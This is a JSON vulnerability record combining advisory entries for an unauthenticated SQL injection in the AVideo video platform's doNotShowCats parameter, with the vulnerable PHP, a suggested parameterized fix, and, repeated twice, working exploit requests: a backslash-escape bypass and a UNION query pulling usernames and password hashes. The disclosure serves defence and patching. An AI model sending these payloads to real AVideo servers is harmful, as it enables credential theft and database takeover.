{"id":"CVE-2026-33352","aliases":["EUVD-2026-20074","GHSA-mcj5-6qr4-95fj"],"status":"published","title":"AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00528,"percentile":0.45174,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-89"],"published":"2026-03-19T19:25:53Z","modified":"2026-10-28T02:31:05Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33352","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mcj5-6qr4-95fj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33352.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33352","title":"AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T13:53:47.26Z","modified":"2026-03-24T17:44:35.562Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-20074","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T13:53:47Z","modified":"2026-03-24T17:44:35Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:29.933437Z"}],"ghsa":[{"id":"GHSA-mcj5-6qr4-95fj","title":"AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)","description":"### Summary\n\nAn unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`.\n\n### Affected Component\n\n**File:** `objects/category.php`, lines 386-394, inside method `getAllCategories()`\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n    $doNotShowCats = $_REQUEST['doNotShowCats'];\n    if (!is_array($_REQUEST['doNotShowCats'])) {\n        $doNotShowCats = array($_REQUEST['doNotShowCats']);\n    }\n    foreach ($doNotShowCats as $key =\u003e $value) {\n        $doNotShowCats[$key] = str_replace(\"'\", '', $value);  // INSUFFICIENT\n    }\n    $sql .= \" AND (c.clean_name NOT IN ('\" . implode(\"', '\", $doNotShowCats) . \"') )\";\n}\n```\n\n### Root Cause\n\n1. **Incomplete sanitization:** The only defense is `str_replace(\"'\", '', $value)`, which strips single-quote characters. It does **not** strip backslashes (`\\`).\n2. **No global filter coverage:** The `doNotShowCats` parameter is absent from every filter list in `objects/security.php` (`$securityFilter`, `$securityFilterInt`, `$securityRemoveSingleQuotes`, `$securityRemoveNonChars`, `$securityRemoveNonCharsStrict`, `$filterURL`, and the `_id` suffix pattern).\n3. **Direct string concatenation into SQL:** The filtered values are concatenated into the SQL query via `implode()` instead of using parameterized queries.\n\n### Exploitation\n\nMySQL, by default, treats the backslash (`\\`) as an escape character inside string literals (unless `NO_BACKSLASH_ESCAPES` SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that `implode()` adds, shifting the string boundary and turning the next array element into executable SQL.\n\n**Step-by-step:**\n\n1. The attacker sends:\n   ```\n   GET /categories.json.php?doNotShowCats[0]=\\\u0026doNotShowCats[1]=)%20OR%201=1)--%20-\n   ```\n\n2. After `str_replace(\"'\", '', ...)`, values are unchanged (no single quotes to strip):\n   - Element 0: `\\`\n   - Element 1: `) OR 1=1)-- -`\n\n3. After `implode(\"', '\", ...)`, the concatenated string is:\n   ```\n   \\', ') OR 1=1)-- -\n   ```\n\n4. The full SQL becomes:\n   ```sql\n   AND (c.clean_name NOT IN ('\\', ') OR 1=1)-- -') )\n   ```\n\n5. MySQL parses this as:\n   - `'\\'` — the `\\` escapes the next `'`, making it a literal quote character inside the string. The string continues.\n   - `, '` — the comma and space are part of the string. The next `'` (which was the opening quote of element 1) **closes** the string.\n   - String value = `', ` (three characters: quote, comma, space)\n   - `) OR 1=1)` — executable SQL. The first `)` closes `NOT IN (`, the second `)` closes the outer `AND (`.\n   - `-- -` — SQL comment, discards the remainder `') )`\n\n   Effective SQL:\n   ```sql\n   AND (c.clean_name NOT IN (', ') OR 1=1)\n   ```\n   This always evaluates to `TRUE`.\n\n**For data extraction (UNION-based):**\n\n```\nGET /categories.json.php?doNotShowCats[0]=\\\u0026doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-\n```\n\nProduces:\n```sql\nAND (c.clean_name NOT IN ('\\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )\n```\n\nThis appends a UNION query that extracts usernames and password hashes from the `users` table. The attacker must match the column count of the original `SELECT` (determinable through iterative probing).\n\n### Impact\n\n- **Confidentiality:** Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.\n- **Integrity:** Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., `UPDATE users SET isAdmin=1`).\n- **Availability:** Ability to drop tables or corrupt data.\n- **Potential RCE:** On MySQL configurations that allow `SELECT ... INTO OUTFILE`, the attacker could write a PHP web shell to the server's document root.\n\n### Suggested Fix\n\nReplace the string concatenation with parameterized queries:\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n    $doNotShowCats = $_REQUEST['doNotShowCats'];\n    if (!is_array($doNotShowCats)) {\n        $doNotShowCats = array($doNotShowCats);\n    }\n    $placeholders = array_fill(0, count($doNotShowCats), '?');\n    $formats = str_repeat('s', count($doNotShowCats));\n    $sql .= \" AND (c.clean_name NOT IN (\" . implode(',', $placeholders) . \") )\";\n    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters\n}\n```\n\nAlternatively, use `$global['mysqli']-\u003ereal_escape_string()` on each value as a minimum fix, though parameterized queries are strongly preferred.","status":"published","published":"2026-03-19T19:25:53Z","modified":"2026-03-25T18:49:11Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33352","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T14:16:33.58Z","modified":"2026-06-17T10:37:21.82Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33352","title":"AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T13:53:47.26Z","modified":"2026-10-28T02:31:05.953737787Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-mcj5-6qr4-95fj","title":"AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)","description":"### Summary\n\nAn unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"'\", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`.\n\n### Affected Component\n\n**File:** `objects/category.php`, lines 386-394, inside method `getAllCategories()`\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n    $doNotShowCats = $_REQUEST['doNotShowCats'];\n    if (!is_array($_REQUEST['doNotShowCats'])) {\n        $doNotShowCats = array($_REQUEST['doNotShowCats']);\n    }\n    foreach ($doNotShowCats as $key =\u003e $value) {\n        $doNotShowCats[$key] = str_replace(\"'\", '', $value);  // INSUFFICIENT\n    }\n    $sql .= \" AND (c.clean_name NOT IN ('\" . implode(\"', '\", $doNotShowCats) . \"') )\";\n}\n```\n\n### Root Cause\n\n1. **Incomplete sanitization:** The only defense is `str_replace(\"'\", '', $value)`, which strips single-quote characters. It does **not** strip backslashes (`\\`).\n2. **No global filter coverage:** The `doNotShowCats` parameter is absent from every filter list in `objects/security.php` (`$securityFilter`, `$securityFilterInt`, `$securityRemoveSingleQuotes`, `$securityRemoveNonChars`, `$securityRemoveNonCharsStrict`, `$filterURL`, and the `_id` suffix pattern).\n3. **Direct string concatenation into SQL:** The filtered values are concatenated into the SQL query via `implode()` instead of using parameterized queries.\n\n### Exploitation\n\nMySQL, by default, treats the backslash (`\\`) as an escape character inside string literals (unless `NO_BACKSLASH_ESCAPES` SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that `implode()` adds, shifting the string boundary and turning the next array element into executable SQL.\n\n**Step-by-step:**\n\n1. The attacker sends:\n   ```\n   GET /categories.json.php?doNotShowCats[0]=\\\u0026doNotShowCats[1]=)%20OR%201=1)--%20-\n   ```\n\n2. After `str_replace(\"'\", '', ...)`, values are unchanged (no single quotes to strip):\n   - Element 0: `\\`\n   - Element 1: `) OR 1=1)-- -`\n\n3. After `implode(\"', '\", ...)`, the concatenated string is:\n   ```\n   \\', ') OR 1=1)-- -\n   ```\n\n4. The full SQL becomes:\n   ```sql\n   AND (c.clean_name NOT IN ('\\', ') OR 1=1)-- -') )\n   ```\n\n5. MySQL parses this as:\n   - `'\\'` — the `\\` escapes the next `'`, making it a literal quote character inside the string. The string continues.\n   - `, '` — the comma and space are part of the string. The next `'` (which was the opening quote of element 1) **closes** the string.\n   - String value = `', ` (three characters: quote, comma, space)\n   - `) OR 1=1)` — executable SQL. The first `)` closes `NOT IN (`, the second `)` closes the outer `AND (`.\n   - `-- -` — SQL comment, discards the remainder `') )`\n\n   Effective SQL:\n   ```sql\n   AND (c.clean_name NOT IN (', ') OR 1=1)\n   ```\n   This always evaluates to `TRUE`.\n\n**For data extraction (UNION-based):**\n\n```\nGET /categories.json.php?doNotShowCats[0]=\\\u0026doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-\n```\n\nProduces:\n```sql\nAND (c.clean_name NOT IN ('\\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )\n```\n\nThis appends a UNION query that extracts usernames and password hashes from the `users` table. The attacker must match the column count of the original `SELECT` (determinable through iterative probing).\n\n### Impact\n\n- **Confidentiality:** Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.\n- **Integrity:** Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., `UPDATE users SET isAdmin=1`).\n- **Availability:** Ability to drop tables or corrupt data.\n- **Potential RCE:** On MySQL configurations that allow `SELECT ... INTO OUTFILE`, the attacker could write a PHP web shell to the server's document root.\n\n### Suggested Fix\n\nReplace the string concatenation with parameterized queries:\n\n```php\nif (!empty($_REQUEST['doNotShowCats'])) {\n    $doNotShowCats = $_REQUEST['doNotShowCats'];\n    if (!is_array($doNotShowCats)) {\n        $doNotShowCats = array($doNotShowCats);\n    }\n    $placeholders = array_fill(0, count($doNotShowCats), '?');\n    $formats = str_repeat('s', count($doNotShowCats));\n    $sql .= \" AND (c.clean_name NOT IN (\" . implode(',', $placeholders) . \") )\";\n    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters\n}\n```\n\nAlternatively, use `$global['mysqli']-\u003ereal_escape_string()` on each value as a minimum fix, though parameterized queries are strongly preferred.","status":"published","published":"2026-03-19T19:25:53Z","modified":"2026-03-25T19:48:17.142165Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:51.811331Z"}]}}
